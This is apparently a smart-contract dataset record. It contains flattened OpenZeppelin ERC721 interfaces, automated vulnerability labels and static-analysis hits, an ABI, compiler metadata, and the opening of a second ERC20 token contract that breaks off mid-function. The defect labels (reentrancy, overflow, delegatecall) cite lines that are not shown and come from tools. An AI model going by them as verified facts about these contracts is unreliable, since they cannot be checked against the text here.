address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/Strings.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["367", "846"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["1328"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["903", "842"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1741", "594", "236", "1719"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["632"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["211", "660", "1681", "587", "222", "1483", "97", "121", "196"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["499", "449", "146", "157", "145", "469", "468", "448", "839", "838", "900", "899", "463", "443", "907", "142"]}, {"defect": "Reentrancy", "type": "Function_call", "severity": "High", "lines": ["93"]}]
[{"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/introspection/IERC165.sol": [4]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1758, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 219, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 832, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 850, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 861, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 893, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 367, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 367, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 12, "severity": 3}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 340, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 88, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 97, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 101, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 105, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 109, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 113, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 168, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 249, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 317, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 511, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1013, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1042, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1146, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1368, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1455, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1603, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1635, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1667, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1701, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1773, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1807, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 185, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 279, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 280, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 282, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 346, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 347, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 349, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 350, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 351, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 353, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 354, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 549, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 552, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 559, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 562, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 565, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1707, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 954, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 1169, "severity": 1}, {"rule": "SOLIDITY_UINT_CANT_BE_NEGATIVE", "line": 649, "severity": 3}, {"rule": "SOLIDITY_UINT_CANT_BE_NEGATIVE", "line": 649, "severity": 2}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1064, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1073, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1095, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1104, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1116, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1030, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 957, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 24, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 192, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 284, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 363, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 567, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1197, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 381, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 382, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 382, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 382, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1197, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1197, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1198, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1198, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1198, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1198, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1200, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1200, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1200, "severity": 1}]
[{"inputs":[{"internalType":"address[]","name":"payees_","type":"address[]"},{"internalType":"uint256[]","name":"shares_","type":"uint256[]"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ERC20PaymentReleased","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"shares","type":"uint256"}],"name":"PayeeAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"PaymentReceived","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"PaymentReleased","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"flipMintState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getOwnershipData","outputs":[{"components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint64","name":"startTimestamp","type":"uint64"}],"internalType":"struct ERC721A.TokenOwnership","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isMintActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerAddressDuringMint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextOwnerToExplicitlySet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"numberMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"payee","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"}],"name":"release","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"}],"name":"release","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"}],"name":"released","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"released","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"reserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newMaxMintAmount","type":"uint256"}],"name":"setMaxMintAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxPerAddressDuringMint_","type":"uint256"}],"name":"setMaxMintPerWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"setOwnersExplicit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"totalAvailable_","type":"uint256"}],"name":"setTotalAvailable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamReserveAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAvailable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"}],"name":"totalReleased","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalReleased","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
v0.8.11+commit.d7f03943
true
500
000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000002000000000000000000000000147cfd55fa128e0a6e4483fd256b85ca7fb32c1400000000000000000000000099391dd90f00e6033e338649c0950f54cc3949ae00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000055000000000000000000000000000000000000000000000000000000000000000f
Default
false
AlternativeGeneration
0xad3a6ae219facd0d12ef55acae54714de01fc310
Solidity
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'AlGen' token contract // // Deployed to : 0x0814B3ef40b1C2cc5FcC6D7Ed7F4E43acfEd4828 // Symbol : AlGen // Name : Alternative Generation // Total supply: 10000 // Decimals : 18 // // Enjoy. // // (c) by AlGen sept 2020 // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract AlternativeGeneration is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "AlGen"; name = "Alternative Generation"; decimals = 18; _totalSupply = 10000000000000000000000; balances[0x0814B3ef40b1C2cc5FcC6D7Ed7F4E43acfEd4828] = _totalSupply; emit Transfer(address(0), 0x0814B3ef40b1C2cc5FcC6D7Ed7F4E43acfEd4828, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns 